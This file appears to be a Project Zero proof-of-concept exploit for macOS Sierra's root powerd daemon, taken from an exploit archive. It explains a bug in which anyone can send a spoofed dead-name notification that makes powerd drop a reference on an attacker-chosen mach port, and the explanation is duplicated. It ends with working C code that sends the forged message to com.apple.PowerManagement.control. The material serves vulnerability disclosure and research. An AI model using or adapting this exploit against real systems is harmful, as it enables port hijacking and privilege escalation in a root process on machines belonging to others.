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/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=976
powerd (running as root) hosts the com.apple.PowerManagement.control mach service.
It checks in with launchd to get a server port and then wraps that in a CFPort:
pmServerMachPort = _SC_CFMachPortCreateWithPort(
"PowerManagement",
serverPort,
mig_server_callback,
&context);
It also asks to receive dead name notifications for other ports on that same server port:
mach_port_request_notification(
mach_task_self(), // task
notify_port_in, // port that will die
MACH_NOTIFY_DEAD_NAME, // msgid
1, // make-send count
CFMachPortGetPort(pmServerMachPort), // notify port
MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly
&oldNotify); // previous
mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:
static void
mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
{
mig_reply_error_t * bufRequest = msg;
mig_reply_error_t * bufReply = CFAllocatorAllocate(
NULL, _powermanagement_subsystem.maxsize, 0);
mach_msg_return_t mr;
int options;
__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
/* we have a request message */
(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);
This passes the raw message to pm_mig_demux:
static boolean_t
pm_mig_demux(
mach_msg_header_t * request,
mach_msg_header_t * reply)
{
mach_dead_name_notification_t *deadRequest =
(mach_dead_name_notification_t *)request;
boolean_t processed = FALSE;
processed = powermanagement_server(request, reply);
if (processed)
return true;
if (MACH_NOTIFY_DEAD_NAME == request->msgh_id)
{
__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);
PMConnectionHandleDeadName(deadRequest->not_port);
__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
mach_port_deallocate(mach_task_self(), deadRequest->not_port);
reply->msgh_bits = 0;
reply->msgh_remote_port = MACH_PORT_NULL;
return TRUE;
}
This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.
deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:
typedef struct {
mach_msg_header_t not_header;
NDR_record_t NDR;
mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
mach_msg_format_0_trailer_t trailer;
} mach_dead_name_notification_t;
This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.
The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)
Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.
You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.
Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/
// ianbeer
#if 0
MacOS/iOS arbitrary port replacement in powerd
powerd (running as root) hosts the com.apple.PowerManagement.control mach service.
It checks in with launchd to get a server port and then wraps that in a CFPort:
pmServerMachPort = _SC_CFMachPortCreateWithPort(
"PowerManagement",
serverPort,
mig_server_callback,
&context);
It also asks to receive dead name notifications for other ports on that same server port:
mach_port_request_notification(
mach_task_self(), // task
notify_port_in, // port that will die
MACH_NOTIFY_DEAD_NAME, // msgid
1, // make-send count
CFMachPortGetPort(pmServerMachPort), // notify port
MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly
&oldNotify); // previous
mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:
static void
mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
{
mig_reply_error_t * bufRequest = msg;
mig_reply_error_t * bufReply = CFAllocatorAllocate(
NULL, _powermanagement_subsystem.maxsize, 0);
mach_msg_return_t mr;
int options;
__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
/* we have a request message */
(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);
This passes the raw message to pm_mig_demux:
static boolean_t
pm_mig_demux(
mach_msg_header_t * request,
mach_msg_header_t * reply)
{
mach_dead_name_notification_t *deadRequest =
(mach_dead_name_notification_t *)request;
boolean_t processed = FALSE;
processed = powermanagement_server(request, reply);
if (processed)
return true;
if (MACH_NOTIFY_DEAD_NAME == request->msgh_id)
{
__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);
PMConnectionHandleDeadName(deadRequest->not_port);
__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
mach_port_deallocate(mach_task_self(), deadRequest->not_port);
reply->msgh_bits = 0;
reply->msgh_remote_port = MACH_PORT_NULL;
return TRUE;
}
This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.
deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:
typedef struct {
mach_msg_header_t not_header;
NDR_record_t NDR;
mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
mach_msg_format_0_trailer_t trailer;
} mach_dead_name_notification_t;
This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.
The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)
Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.
You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.
Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>
char* service_name = "com.apple.PowerManagement.control";
struct notification_msg {
mach_msg_header_t not_header;
NDR_record_t NDR;
mach_port_name_t not_port;
};
mach_port_t lookup(char* name) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", name);
return MACH_PORT_NULL;
}
return service_port;
}
int main() {
kern_return_t err;
mach_port_t service_port = lookup(service_name);
mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy
printf("%d\n", getpid());
printf("service port: %x\n", service_port);
struct notification_msg not = {0};
not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
not.not_header.msgh_size = sizeof(struct notification_msg);
not.not_header.msgh_remote_port = service_port;
not.not_header.msgh_local_port = MACH_PORT_NULL;
not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME
not.NDR = NDR_record;
not.not_port = target_port;
// send the fake notification message
err = mach_msg(¬.not_header,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct notification_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
printf("fake notification message: %s\n", mach_error_string(err));
return 0;
}
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